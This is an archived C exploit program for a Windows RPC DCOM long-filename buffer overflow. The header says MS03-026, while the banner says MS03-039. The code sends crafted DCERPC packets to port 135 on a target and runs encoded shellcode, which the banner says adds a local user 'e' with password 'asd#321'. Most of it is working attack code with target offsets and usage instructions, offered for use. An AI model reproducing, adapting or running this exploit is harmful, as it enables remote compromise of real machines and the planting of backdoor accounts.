Microsoft Windows - 'RPC DCOM' Long Filename Overflow (MS03-026)

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

#pragma comment(lib,"ws2_32")

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

//user="e" pass="asd#321"
unsigned char sc_add_user[]=
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3E\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x31\x99\x99\x99\xC3\x21\x95\x69"
"\x64\xE6\x12\x99\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5"
"\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA"
"\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED"
"\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF"
"\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A"
"\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F"
"\x97\x12\x49\xF3\x9A\xC0\x71\xBD\x99\x99\x99\xF1\x66\x66\x66\x99"
"\xF1\x99\x89\x99\x99\xF3\x9D\x66\xCE\x6D\x22\x81\x69\x64\xE6\x10"
"\x9A\x1A\x5F\x95\xAA\x59\xC9\xCF\x66\xCE\x61\xC9\x66\xCE\x65\xAA"
"\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B"
"\x77\xAA\x59\x5A\x71\xCA\x66\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA"
"\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xD1\xFC\xF8\xE9\xDA\xEB\xFC\xF8"
"\xED\xFC\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xC9"
"\xEB\xF6\xFA\xFC\xEA\xEA\x99\xFA\xF4\xFD\xB9\xB6\xFA\xB9\xF7\xFC"
"\xED\xB9\xEC\xEA\xFC\xEB\xB9\xFC\xB9\xF8\xEA\xFD\xBA\xAA\xAB\xA8"
"\xB9\xB6\xF8\xFD\xFD\xB9\xBF\xBF\xB9\xF7\xFC\xED\xB9\xF5\xF6\xFA"
"\xF8\xF5\xFE\xEB\xF6\xEC\xE9\xB9\xF8\xFD\xF4\xF0\xF7\xF0\xEA\xED"
"\xEB\xF8\xED\xF6\xEB\xEA\xB9\xFC\xB9\xB6\xF8\xFD\xFD\x99";
#define	sc_offset		0x24
#define	sc_max			0x208
#define	jmp_addr_offset	sc_max+sc_offset+0x8
#define	top_seh_offset	jmp_addr_offset+0x4

unsigned char sc[]=
"\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00\x2e\x00"
"\x30\x00\x2e\x00\x31\x00\x5c\x00\x49\x00\x50\x00"
"\x43\x00\x24\x00\x5c\x00"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
"\xe9\xf3\xfd\xff\xff"
"EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE";

unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

struct
{
	char	*os;
	DWORD	dwTopSeh;
	char	*seh;
	DWORD	dwJmpAddr;
	char	*jmp;
}
targets[] =
{
	{ "2kEnSp4+MS03-026", 
		0x7c54144c,
		"kernel32.dll v5.0.2195.6688",
		0x77a1b496,
		"OLEAUT32.dll v2.40.4522.0"},
	{ "2kEnSp3+SomeHotFixs+MS03-026", 
		0x77eda1f0,
		"kernel32.dll v5.0.2195.6079",
		0x77a1afa9,
		"OLEAUT32.dll v2.40.4518.0"}
}, v;
void main(int argc,char ** argv)
{
    WSADATA WSAData;
    SOCKET sock;
    int len,len1;
    SOCKADDR_IN addr_in;
    short port=135;
    unsigned char buf1[0x1000];
    unsigned char buf2[0x1000];
	int	i, iType;

	printf( "MS03-039 RPC DCOM long filename heap buffer overflow exp v1\n"
			"Base on flashsky's MS03-026 exp\n"
			"Code by ey4s<eyas#xfocus.org>\n"
			"2003-09-16\n"
			"Welcome to http://www.xfocus.net\n"
			"Thanks to flashsky & benjurry & Dave Aitel\n"
			"If success, target will add a user \"e\" and password is \"asd#321\"\n\n");

	if(argc!=3)
	{
		printf("Usage: %s <target> <type>\n", argv[0]);
		for(i = 0; i < sizeof(targets)/sizeof(v); i++)
			printf( "<%d>   %s\n"
					"      TopSeh=0x%.8x in %s\n"
					"      JmpAddr=0x%.8x in %s\n",
					i, targets[i].os,
					targets[i].dwTopSeh, targets[i].seh,
					targets[i].dwJmpAddr, targets[i].jmp);
		return;
	}

	iType = atoi(argv[2]);
	if((iType<0) || iType > sizeof(targets)/sizeof(v))
	{
		printf("[-] Wrong type.\n");
		return;
	}

	memcpy(&sc[sc_offset], sc_add_user, sizeof(sc_add_user));
	memcpy(&sc[jmp_addr_offset], &targets[iType].dwJmpAddr,4);
	memcpy(&sc[top_seh_offset], &targets[iType].dwTopSeh,4);
	printf("[+] Prepare shellcode completed.\n");

    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d\n",WSAGetLastError());
        return;
    }

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(port);
    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
    
    if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d\n",WSAGetLastError());
        return;
    }
    if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    {
        printf("Connect failed.Error:%d",WSAGetLastError());
        return;
    }
	printf("[+] Connect to %s:135 success.\n", argv[1]);

	if(sizeof(sc_add_user) > sc_max)
	{
		printf("[-] shellcode too long, exit.\n");
		return;
	}

 
    len=sizeof(sc);
    memcpy(buf2,request1,sizeof(request1));
    len1=sizeof(request1);
    *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2;  //¼ÆËãÎļþÃûË«×Ö½Ú³¤¶È
    *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//¼ÆËãÎļþÃûË«×Ö½Ú³¤¶È
    memcpy(buf2+len1,request2,sizeof(request2));
    len1=len1+sizeof(request2);
    memcpy(buf2+len1,sc,sizeof(sc));
    len1=len1+sizeof(sc);
    memcpy(buf2+len1,request3,sizeof(request3));
    len1=len1+sizeof(request3);
    memcpy(buf2+len1,request4,sizeof(request4));
    len1=len1+sizeof(request4);
    *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
    //¼ÆËã¸÷ÖֽṹµÄ³¤¶È
    *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;  
    *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
    *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
    *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
    *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
    *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
    *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;

    len = send(sock,bindstr,sizeof(bindstr),0);
	if(len<=0)
    {
            printf("[-] Send failed.Error:%d\n",WSAGetLastError());
            return;
    }
 	else
		printf("[+] send %d bytes.\n", len);
	
    len=recv(sock,buf1,1000,0);
	if(len<=0)
	{
		printf("[-] recv error:%d\n", GetLastError());
		return;
	}
	else
		printf("[+] recv %d bytes.\n", len);

    len = send(sock,buf2,len1,0);
	if(len<=0)
    {
            printf("[-] Send failed.Error:%d\n",WSAGetLastError());
            return;
    }
	else
		printf("[+] send %d bytes.\n", len);
    len=recv(sock,buf1,1024,0);
	if(len<=0)
	{
		printf("[+] Target crash or exploit success? :)\n");
	}
	else
		printf("[-] recv %d bytes. Bad luck!\n", len);
}



// milw0rm.com [2003-09-16]